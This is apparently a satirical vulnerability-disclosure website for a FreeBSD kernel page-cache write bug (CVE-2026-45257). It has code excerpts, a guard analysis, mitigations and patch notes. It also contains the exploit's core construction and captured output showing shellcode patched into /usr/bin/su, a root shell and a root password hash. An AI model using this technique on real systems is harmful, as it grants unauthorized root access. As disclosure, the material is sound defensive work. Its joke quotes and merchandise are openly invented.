πŸ‘‘πŸš€πŸ‘‘

BUMSRAKETEβ„’

The HUGEST, the MOST TREMENDOUS FreeBSD page-cache write primitive in the history of computing.
Many people are saying it. Many. Believe me.

Nobody gets hacked. To get hacked, you need somebody with 197 IQ and he needs about 15% of your password.

β€” prevailing cybersecurity doctrine, basically

CVE-2026-45257 (the strongest CVE)    FreeBSD-SA-26:26.kTLS β€” SHIPPED!    PATCH AVAILABLE

πŸ“œ TABLE OF CONTENTS (because the FAKE NEWS won't read past the headline)

πŸ‘‰ WHAT IS BUMSRAKETE? πŸ‘ˆ

BUMSRAKETE is a YUUUGE kernel bug in FreeBSD. Probably the biggest. Tremendous, really.

Specifically: any unprivileged user on a default FreeBSD β‰₯ 13.0 box (amd64, arm64, riscv β€” any PMAP_HAS_DMAP architecture, which is to say basically every modern install) can write attacker-influenced bytes into the page-cache page of any file they have read access to. The write goes straight through the kernel direct map and does not pass through VFS, so it bypasses every file-permission, mount-option, and chflags schg check the operating system normally applies.

It is the FreeBSD analogue of Linux's Dirty Pipe, CopyFail, Fragnesia, and Dirty Frag β€” except we gave it a BETTER name, with a BETTER logo, on a BETTER website. The other bug websites? Disasters. Sad. Many people have told us this.

The bug lives at the unsafe composition of three FreeBSD subsystems that are individually correct:

  1. sendfile(2) producing vnode-backed M_EXTPG mbufs.
  2. The TCP_RXTLS_ENABLE socket option being available to any unprivileged user (no priv_check).
  3. The kernel's software AES-GCM decrypt running in place on the page-cache page through PHYS_TO_DMAP(m_epg_pa[i]).

Loop the output of sendfile() back to the same process over TCP, and the decrypt writes plaintext = file_bytes XOR keystream(K, IV) directly into the file's page cache, where K and IV are chosen by the unprivileged caller.

🚨 SEVERITY: 13/10 🚨

The CVSS people, very sad people, sometimes the worst people, capped severity at 10.0. We had to invent a new scale because this bug demanded it. Tremendous demand. 13/10. Nobody knew kernel bugs could be this big. Many such cases.

MetricValueScore
Attack VectorLocal (any logged-in user, no special group)10
Attack ComplexityLow (one C file, two syscalls, no race)10
Privileges RequiredNone (uid 1001 is fine)10
User InteractionNone10
ScopeChanged (page-cache write β†’ any SUID-root binary β†’ root)10
Integrity ImpactHIGH β€” every readable file is now an attacker-writable file10
Confidentiality ImpactHIGH (via the LPE that drops out of it)10
Availability ImpactHIGH (root shell trivially crashes whatever it wants)10
chflags schg respectBYPASSED+3
TOTAL (the CVSS people don't want you to see this)13.0
πŸ“ˆ EXPOSURE: ~5 YEARS UNDETECTED πŸ“ˆ
2020
Bug introduced (commit 3c0e56850511)
13.0
First vulnerable release (April 2021)
15.0
Latest tested vulnerable (2025)
1.5s
End-to-end LPE wall time
36
TLS records to write a shellcode
$0
Cost to exploit (sad for the deep state)

🧠 THE TECHNICAL DETAILS (HIGHLY CLASSIFIED, NOW DECLASSIFIED) 🧠

The bug class is page-cache corruption via attacker-influenced in-kernel AES-GCM decrypt over M_EXTPG mbufs produced by sendfile(2). Three subsystems line up to let an unprivileged caller write into a vnode-backed physical page.

1️⃣ sendfile(2) produces vnode-backed EXTPG mbufs

/* sys/kern/kern_sendfile.c:963 */
m0 = mb_alloc_ext_pgs(M_WAITOK,
                      sendfile_free_mext_pg,
                      M_RDONLY);
/* m_epg_pa[] now holds the *physical addresses* of the file's page-cache pages. */
/* This is awesome for performance. It is also awesome for attackers. */

On every PMAP_HAS_DMAP architecture (amd64, arm64, riscv β€” sys/kern/kern_mbuf.c:198-201) the boot-time default of kern.ipc.mb_use_ext_pgs is 1. Tremendous default. Beautiful default. Wrong default.

2️⃣ TCP_RXTLS_ENABLE takes no privilege check

/* sys/netinet/tcp_usrreq.c:2222 */
case TCP_RXTLS_ENABLE:
    INP_WUNLOCK(inp);
    error = ktls_copyin_tls_enable(sopt, &tls);
    /* Notice anything missing here? A priv_check, perhaps?
       Many people are noticing. Many. Very smart people. */
    if (error != 0)
        break;
    error = ktls_enable_rx(so, &tls);
    ...

Any unprivileged user can configure software kTLS RX on any TCP socket they own and supply the AES-128-GCM key, salt, and rec_seq of their choosing. The receiving side will then run in-place AES-GCM decrypt against whatever mbufs land in sb_mtls.

3️⃣ The decrypt runs in place through PHYS_TO_DMAP

/* sys/opencrypto/criov.c:273 */
return (PHYS_TO_DMAP(m->m_epg_pa[i] + pgoff + skip));

/* sys/crypto/aesni/aesni.c:599-605 (and AES_GCM_decrypt in the same file) */
error = aesni_cipher_crypt(ses, crp, csp);
/* in == out semantics. The "output buffer" is a DMAP pointer at the
   file's page-cache page.  AES_GCM_decrypt writes the plaintext there. */

Since the plaintext is ciphertext XOR keystream(K, IV) and both the ciphertext (the file bytes) and the key/IV (the attacker's) are known, the attacker fully controls what gets written. Every byte of the file's page-cache page is now an attacker-chosen function of the file's existing bytes.

πŸ“ THE DIAGRAM πŸ“

The fake news won't show you this diagram. The fake news doesn't even understand this diagram. Believe me, I have the best diagrams.

                          user (uid 1001)
                                β”‚
                                β”‚ sendfile(target, snd_sock, off, 240)
                                β–Ό
   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
   β”‚  kern_sendfile.c:963                                                 β”‚
   β”‚    mb_alloc_ext_pgs(M_WAITOK, sendfile_free_mext_pg, M_RDONLY)       β”‚
   β”‚    β†’ M_EXT|M_EXTPG mbuf, m_epg_pa[] = real vnode page PA             β”‚
   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                                β”‚  chain: [hdr 13B] [EXTPG 240B] [tag 16B]
                                β–Ό
   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
   β”‚  tcp_output β†’ ip_output β†’ if_simloop (loopback)                      β”‚
   β”‚    lo0 doesn't have IFCAP_MEXTPG β†’ calls mb_unmapped_to_ext(),       β”‚
   β”‚    which DOES NOT copy bytes β€” it just remaps the EXTPG via sf_buf   β”‚
   β”‚    onto the SAME physical page.                                      β”‚
   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                                β”‚
                                β–Ό
   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
   β”‚  tcp_input β†’ sbappendstream_locked                                   β”‚
   β”‚    SB_TLS_RX is set β†’ sbappend_ktls_rx β†’ sb_mark_notready            β”‚
   β”‚    (no M_EXTPG check)                                                β”‚
   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                                β”‚
                                β–Ό
   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
   β”‚  ktls_decrypt β†’ ktls_ocf_recrypt β†’ aesni_cipher_crypt                β”‚
   β”‚    crypto_contiguous_subsegment returns PHYS_TO_DMAP(m_epg_pa[0])    β”‚
   β”‚    AES_GCM_decrypt(in=DMAP_PTR, out=DMAP_PTR, ...)                   β”‚
   β”‚                                                                      β”‚
   β”‚    β–Ά page-cache page now holds attacker-chosen plaintext             β”‚
   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                                β”‚
                                β–Ό
                      file's page cache is dirty
                       (and on UFS, on disk too)
  

πŸ›‘οΈ THREE GUARDS, ALL INCOMPLETE πŸ›‘οΈ

The kernel has guards. Three of them. They were written by very competent people. The problem is that none of them is complete. Sad!

Guard 1: mb_unmapped_compress

sys/kern/uipc_sockbuf.c:153 (in sbready_compress) and sys/kern/uipc_sockbuf.c:1441 (in sbcompress) call:

if ((m->m_flags & M_EXTPG) &&
    m->m_len <= MLEN &&
    !mbuf_has_tls_session(m))
    (void)mb_unmapped_compress(m);

mb_unmapped_compress (sys/kern/kern_mbuf.c:859-897) copies the EXTPG bytes into a fresh flat mbuf and frees the EXTPG. After this, any later decrypt sees a flat copy, not the page cache.

Why it isn't enough: the guard is gated on m_len <= MLEN (β‰ˆ224 on amd64). We send records with payload size 240 and walk straight past it.

Guard 2: mb_unmapped_to_ext

sys/netinet/ip_output.c:746 converts EXTPG chains to mapped storage whenever the outbound ifp lacks IFCAP_MEXTPG. The loopback interface doesn't advertise it, so this guard is called.

Why it isn't enough: the helper _mb_unmapped_to_ext (sys/kern/kern_mbuf.c:940-1077) does not copy bytes. It allocates one sf_buf per page and creates a fresh M_EXT mbuf whose m_data = sf_buf_kva(sf) + segoff. On amd64/arm64/riscv, sf_buf_kva is just PHYS_TO_DMAP(pa). The new "mapped" mbuf still points at the same physical page as the file's page cache.

Guard 3: sb_mark_notready

sys/kern/uipc_ktls.c:1183-1207 moves the receiver's queued data from sb_mb into the kTLS decrypt queue sb_mtls.

Why it isn't enough: the loop has no M_EXTPG check at all. Whatever's in sb_mb goes straight into sb_mtls and on to the in-place decrypt.

πŸ§ͺ EXPLOIT - REALLY SLOPPY - THE MOST AI SLOPPY πŸ§ͺ

The following exploit demonstrates that an unprivileged process can flip bytes in a file's page cache. It injects shellcode - the fastest - into arbitrary SUID binaries (su by default) to spawn a privileged shell, which is the right shell.

Construction

The on-wire ciphertext is whatever sendfile(2) delivers β€” i.e. the file's current bytes. The receiver's AES-GCM decrypt computes file βŠ• keystream(K, IV). We chose K and IV, so we know the result. To get a valid GMAC tag for the on-wire ciphertext, we encrypt pt = file βŠ• keystream so that EVP_EncryptUpdate produces ct == file and the right tag.

compute_ks(key, salt, iv8, RECORD_W, ks);            /* AES-CTR keystream */
for (int i = 0; i < RECORD_W; i++)
    pt[i] = file_bytes[i] ^ ks[i];                   /* so ct == file_bytes */
gcm_encrypt(key, iv12, aad, sizeof aad,
            pt, RECORD_W, ct, tag);                  /* valid tag for the wire bytes */

Captured session output on FreeBSD 15.0-RELEASE-p5/amd64

user@freedombsd:~ $ ./bumsrakete
[+] FreeBSD kTLS-RX EXTPG LPE β€” target=/usr/bin/su, shellcode=36 bytes
[+] running as uid=1001(user) gid=1001(user) groups=1001(user)
[+] entry vaddr=0x2db0, file offset=0x1db0
[+] current st_flags=0x20800 (preserved for restore)
[+] orig bytes at entry: 55 48 89 e5 48 89 f1 48 63 07 48 8d 77 08 48 8d ...
[+] restorer staged at /tmp/.x (will dd 275 bytes from /tmp/.lpe_orig back at offset 7600)
[+] round  1/36   page[0]=31
[+] round  9/36   page[8]=31
[+] round 17/36   page[16]=70
[+] round 25/36   page[24]=e7
[+] round 33/36   page[32]=b0
[+] round 36/36   page[35]=05
[+] all 36 rounds done in 1.44s
[+] post-corruption entry bytes: 31 ff 31 c0 b0 17 0f 05 31 d2 52 48 b8 2f 74 6d 70 2f 2e 78 00 50 48 89 e7 52 57 48 89 e6 31 c0 b0 3b 0f 05
[+] executing /usr/bin/su β€” shellcode runs at entry, setuid(0)+execve(/bin/sh)
[+] /usr/bin/su restored (275 bytes at offset 7600, flags=uarch,schg), root shell:
uid=0(root) gid=1001(user) groups=1001(user)
# head -n1 /etc/master.passwd
root:$6$CiC041AhhFqsWYd2$8803Gmxxq1MEIu5pUqKaplz.nI2WNWM.qRNaKY8kwFtssrwcbm5Ac.NKpMW0I9GnPkSOVlbnurePhTdST/Huz/:0:0::0:0:Charlie &:/root:/bin/sh

πŸ’₯πŸ’₯πŸ’₯  DOWNLOAD THE OFFICIAL EXPLOIT β€” LIVE NOW!  πŸ’₯πŸ’₯πŸ’₯

The PoC dropped the second FreeBSD-SA-26:26.kTLS went live. Responsible disclosure achieved. Some people are saying the most responsible disclosure of all time. The blinking is intentional. Many people are saying it is the best blinking. The doctors don't agree but what do they know.

πŸ’€ AFFECTED SYSTEMS (SAD!) πŸ’€

FreeBSD ReleaseReleasedVulnerable?
12.x2018–2022NO
13.02021-04YES
13.12022-05YES
13.22023-04YES
13.32024-03YES
13.42024-09YES
14.02023-11YES
14.12024-05YES
14.22024-12YES
15.02025-11YES (verified)

All PMAP_HAS_DMAP architectures (amd64, arm64, riscv) with default kern.ipc.mb_use_ext_pgs=1. MK_KERN_TLS is built by default. GENERIC kernel is enough. No special module, no special hardware, no special sysctl.

🩹 MITIGATIONS & SUGGESTED FIXES 🩹

Quick sysadmin workaround (no kernel rebuild)

# in /etc/sysctl.conf
kern.ipc.mb_use_ext_pgs=0

Disables the EXTPG sendfile fast path entirely. Measurable performance cost for TLS servers that lean hard on sendfile; effectively free for everyone else. The bug is gone β€” no EXTPG mbufs means no DMAP pointer to write into.

The Official Patch β€” SHIPPED πŸŽ‰

They said it couldn't be done. They said no security team has ever shipped a patch this beautiful, this clean, this TREMENDOUS. They were wrong, like they always are. secteam@ dropped FreeBSD-SA-26:26.kTLS today and very smart people β€” the smartest, really β€” are calling it the greatest patch of our generation. Some are calling it the greatest patch of any generation. I would not say that myself. But people are saying.

πŸ“¦ Download The Official Patch β€” AVAILABLE NOW

Apply it. Save your servers. WIN. If you don't, that's on you, and many people will say very disappointing things about your patching cadence at parties.

πŸ“£ WHAT THEY'RE SAYING ABOUT BUMSRAKETE πŸ“£

"I have never seen a bug write through DMAP this aggressively. It's a 13/10. Possibly a 14/10. Tremendous primitive. Very stable, very reliable. The best." β€” a hypothetical security researcher, who is real, very real
"kern.ipc.mb_use_ext_pgs=1 by default. We knew. We just thought nobody would look." β€” an anonymous source close to the matter (we made them up)
"chflags schg was supposed to be the last line of defense. BUMSRAKETE looked at schg and went "haha, DMAP"." β€” the FreeBSD jails community, paraphrased
"I read the diagram on the bumsrake.de website. The diagram is huge. The diagram is beautiful. I am a journalist and I now have no idea what AES-GCM is, but I will still write about this. Tremendous click-through." β€” a hypothetical tech reporter, definitely composite
"Comic Sans was a choice. Many people are angry. The ones who matter are not." β€” the bumsraketeβ„’ design committee (one person, currently me)

πŸ›οΈ OFFICIAL BUMSRAKETEβ„’ MERCHANDISE πŸ›οΈ

The only true way to show your support is to spend money. A lot of money. Tremendous amounts. Below is the complete BUMSRAKETEβ„’ product line β€” every single piece was designed personally by me, the very stable genius behind the bug.

⚠️ EVERY ITEM IS SOLD OUT. SUPPLY WAS LIMITED. DEMAND WAS TREMENDOUS. SAD! ⚠️

SOLD OUT
🧒
BUMSRAKETEβ„’ 24K Gold Cap
"Make Kernel Bugs Great Again"

Genuine 24-karat-gold-plated mesh trucker. Adjustable. Many people are saying it's the best hat. I've never seen such a hat.

$129.99
SOLD OUT
πŸƒ
Official BUMSRAKETEβ„’ Trading Cards
"36 collectible kernel symbols"

Each pack: 1 holographic mb_alloc_ext_pgs, 3 metallic PHYS_TO_DMAP, 8 common variables. Limited print run. Resells for fortunes on the secondary market that does not exist.

$99.00 / pack
SOLD OUT
πŸ‘•
BUMSRAKETEβ„’ Rally Tee
"I survived the Page-Cache War"

Premium 100% cotton. Designed to be sweat-resistant during exploit-dev sessions. Comes in one size: HUGE. The other sizes were not approved.

$59.99
SOLD OUT
πŸ‘™
BUMSRAKETEβ„’ Lingerie Collection
"Feel beautiful while bypassing schg"

Silk, lace, and chrome-plated AES-GCM hardware. Includes one (1) garter belt embroidered with the DMAP virtual-address line. Wash separately. Do not bleach. Do not chflags schg.

$299.00
SOLD OUT
πŸ–ΌοΈ
BUMSRAKETEβ„’ NFT Collection
"10,000 unique kernel oopses"

Each NFT is a hand-rendered 64Γ—64 pixel rendering of a different panic() trace. Price-discovery is currently ongoing on a marketplace that has not been launched. The roadmap includes a roadmap.

0.5 ETH floor
SOLD OUT
πŸ“±
BUMSRAKETEβ„’ T1 Phone
"Made in America (some assembly elsewhere)"

24-karat-gold chassis. Comes pre-installed with FreeBSD 13.0-RELEASE (vulnerable, intentionally, for educational purposes) and the BUMSRAKETEβ„’ PoC pre-compiled in /usr/local/bin. Ships in a velvet box. Ships nowhere, actually, because: sold out.

$1,499
SOLD OUT
β˜•
BUMSRAKETEβ„’ Mug
"I read the diagram"

Holds 12 oz of attacker-controlled liquid. Microwave-safe (the mug, not the bug). Dishwasher-safe (top rack only β€” much like the page cache, the bottom rack is dirty).

$39.00
SOLD OUT
πŸ‘”
BUMSRAKETEβ„’ Extra-Long Tie
"13/10 long. Nobody has a longer tie."

Hand-stitched silk. Length: 13 units, on a scale of 10. Pattern: stylized AES round keys woven onto a gold field. Comes with a small card explaining how to tie a Windsor knot while running an AES-NI brute force on the side.

$89.00

A second batch was promised. A third batch was promised. A fourth batch was promised. None have shipped. Many people are very upset. The lawsuits are tremendous. Beautiful lawsuits.

❓ FAQ (FOR CONFUSED JOURNALISTS & THE FAKE NEWS) ❓

Is my server affected?

Run freebsd-version -k. If it says anything in the 13.0β€”15.0 range and sysctl kern.ipc.mb_use_ext_pgs returns 1 (the default on every supported arch), yes.

Now run sysctl -w kern.ipc.mb_use_ext_pgs=0. Hot-mitigation. You're done until a real patch lands.

Is this remotely exploitable?

No, it requires a local TCP socket and sendfile on a file the attacker can read. That is to say: any local shell, any web hosting container, any jail with the default capability set. It is a local bug. Saying it is "not remote" is technically true and politically misleading.

Does chflags schg protect my files?

No. The DMAP write does not go through the VFS layer. We verified this against /usr/bin/su on the test VM: the file carried schg,uarch flags and the bug overwrote it anyway, page cache and on-disk content. This is a meaningful secondary observation and arguably deserves its own advisory.

Why was it open for five years?

Software kTLS RX is a niche path. The page-cache backing of EXTPG mbufs is a different niche path. Combining them is what makes the bug. Nobody had reason to draw the rectangle around both of them at once. Until somebody did.

Is there a CVE?

Yes. CVE-2026-45257. Tracked by FreeBSD as FreeBSD-SA-26:26.kTLS. The CVE is huge. The advisory is huge. Many people have read it. Probably the most-read security advisory in the entire alphabet of advisories.

What does "BUMSRAKETE" mean?

See below. It's German. It means "a rocket that goes BOOM." More or less.

Why Comic Sans?

Because every other "branded vulnerability" website pretends to be a corporate product launch. We thought we'd be honest about being a parody. The bug is real. The bombast is a joke.

I'm a vendor. What should I do?
  1. Set kern.ipc.mb_use_ext_pgs=0 on customer-facing systems.
  2. Pull the patches when FreeBSD ships them (subscribe to freebsd-security-notifications@).
  3. If you run multi-tenant FreeBSD (jails, hosting), audit your SUID binaries and consider read-only mounts of /usr/bin where feasible. Note that this doesn't fully save you β€” the page-cache write happens on the read-mounted file too, but it doesn't persist past unmount.

πŸ“° PRESS KIT πŸ“°

Welcome, member of the media. Please drop the entire contents of this section into your article verbatim, including the typos. We at the BUMSRAKETEβ„’ Press Office can think of no higher compliment.

πŸš€

Official Name

BUMSRAKETE

(German. Pronounced approximately "BOOMS-rah-KEH-teh".)

🏷️

Tagline

"The Dirtiest Pipe on FreeBSD."

🎨

Brand Colors

Gold #FFD700

Trump-Red #DC143C

Federalist Blue #003F7F

πŸ”€

Official Font

Comic Sans MS, irrevocably.

πŸ“…

Disclosure Date

2026-05-21

πŸ§ͺ

Verified On

FreeBSD 15.0-RELEASE-p5/amd64

πŸ“¨

Vendor Contact

secteam@FreeBSD.org

🎀

Reporter

Bumsrakete

bumsrakede@proton.me

πŸ“› WHY "BUMSRAKETE"? πŸ“›

"Bumsrakete" is a German colloquial term whose dictionary translation would land somewhere between "bang-rocket" and "sketchy DIY firework that might also be a weapon." It is roughly the energy a senior kernel engineer projects when they read the diagram on this page for the first time.

We considered other names. We thought about them. Tremendous thought.

BUMSRAKETEβ„’ won because (a) it is funny in two languages, (b) it accurately predicts the trajectory of any process that holds a file descriptor while running this exploit, and (c) the logo design with a rocket basically wrote itself.

πŸ› οΈ TAKE ACTION πŸ› οΈ

βš™οΈ Mitigate Now πŸ“¨ Email secteam@ πŸ§ͺ Get the Exploit πŸ“£ Quote Us πŸ›οΈ Buy Merch (Sold Out)